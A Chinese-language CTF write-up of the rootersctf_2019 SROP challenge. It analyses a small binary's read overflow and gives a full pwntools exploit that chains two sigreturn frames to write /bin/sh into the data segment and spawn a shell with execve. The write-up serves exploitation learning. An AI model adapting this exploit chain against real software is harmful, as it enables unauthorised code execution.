rootersctf_2019_srop

注意
本文最后更新于 2021-04-30,文中内容可能已过时。

总结

根据本题,学习与收获有:

  • srop用于溢出空间比较大的场景,需要注意:如果将framerip设置为syscall;ret,那么rsp指向地址,就是即将下一个栈帧的栈顶。程序会取rsp指向的地址或指令继续执行
  • leave;ret指令的本质是mov rbp rsp;pop rbp;pop rip
  • srop可以构造多个帧,特别是程序缺乏/bin/sh的时候,第1帧先想办法写/bin/sh\x00,然后第2帧执行execve

题目分析

checksec

image-20210430224820873

本题的环境为ubuntu 18

函数分析

main函数都没有,先看start函数吧

start

image-20210430225858019

流程很简单:call 0x401000,然后调用exit退出。

sub_0x401000

image-20210430230100498

纯汇编代码,流程是:

  • write(1, buf,0x2a)
  • read(0, rsp-0x40, 0x400)

漏洞点

题目名叫srop,那肯定是使用srop来做题。溢出点也相当明显,0x400足够构造两个srop的帧了。

利用思路

知识点

主要利用srop,参考SROP - CTF Wiki (ctf-wiki.org),细节就不多讲了。需要注意riprsp。一般来说,rip会写成syscall的地址。

利用过程

主要注意两点:1)本题可利用的gadget不多,并且只有syscall;leave;ret,所以需要注意,这里不需要修改rsp,而是rbp。2)程序中没有/bin/sh,但是有data段,所以需要往data段上写/bin/sh。因此,连续利用两次srop是个不错的方案。

步骤:

  • 首先利用栈溢出,执行read的系统调用,往0x402000上写/bin/sh和第二帧,同时控制rbp,指向让第二帧的signal frame。第二帧就布置在已知地址的data段上。
  • 让第二帧signal frame写入execve,获取shell

EXP

调试过程

  • 写入第一帧signal frame

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    16
    17
    
    data_addr = 0x402000
    syscall_leave_ret = 0x401033
    pop_rax_syscall_leave_ret = 0x401032
    syscall_addr = 0x401046
    
    frame = SigreturnFrame(kernel="amd64")
    frame.rax = 0 # read 
    frame.rdi = 0 # stdin
    frame.rsi = data_addr
    frame.rdx = 0x400
    frame.rip = syscall_leave_ret
    frame.rbp = data_addr + 0x20
    
    layout = [0x88 * "a", pop_rax_syscall_leave_ret, 0xf, bytes(frame)]
    
    # srop to call read, set *data_addr = /bin/sh\x00
    sh.sendlineafter("Hey, can i get some feedback for the CTF?\n", flat(layout))

    image-20210430232240304

  • 写入第二帧signal frame

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    
    # call execve /bin/sh
    layout = ["/bin/sh\x00", "a" * 0x20, pop_rax_syscall_leave_ret, 0xf]
    
    frame = SigreturnFrame(kernel="amd64")
    frame.rax = 59 # execve 
    frame.rdi = data_addr # stdin
    frame.rsi = 0
    frame.rdx = 0
    frame.rip = syscall_addr
    
    layout.append(bytes(frame))
    
    sh.sendline(flat(layout))
    sh.interactive()

    image-20210430232153324

    image-20210430232352540

最后打远程效果为:

image-20210430232539501

完整exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *
sh = process("rootersctf_2019_srop")
context.update(arch="amd64", os="linux", endian="little")

# write /bin/sh on 0x402000
data_addr = 0x402000
syscall_leave_ret = 0x401033
pop_rax_syscall_leave_ret = 0x401032
syscall_addr = 0x401046
frame = SigreturnFrame(kernel="amd64")
frame.rax = 0 # read 
frame.rdi = 0 # stdin
frame.rsi = data_addr
frame.rdx = 0x400
frame.rip = syscall_leave_ret
frame.rbp = data_addr + 0x20
layout = [0x88 * "a", pop_rax_syscall_leave_ret, 0xf, bytes(frame)]
# srop to call read, set *data_addr = /bin/sh\x00
sh.sendlineafter("Hey, can i get some feedback for the CTF?\n", flat(layout))

# call execve /bin/sh
layout = ["/bin/sh\x00", "a" * 0x20, pop_rax_syscall_leave_ret, 0xf]
frame = SigreturnFrame(kernel="amd64")
frame.rax = 59 # execve 
frame.rdi = data_addr # stdin
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_addr
layout.append(bytes(frame))
sh.sendline(flat(layout))
sh.interactive()

引用与参考

1、My Blog

2、Ctf Wiki

Buy me a coffee~
roderick 支付宝支付宝
roderick 微信微信
0%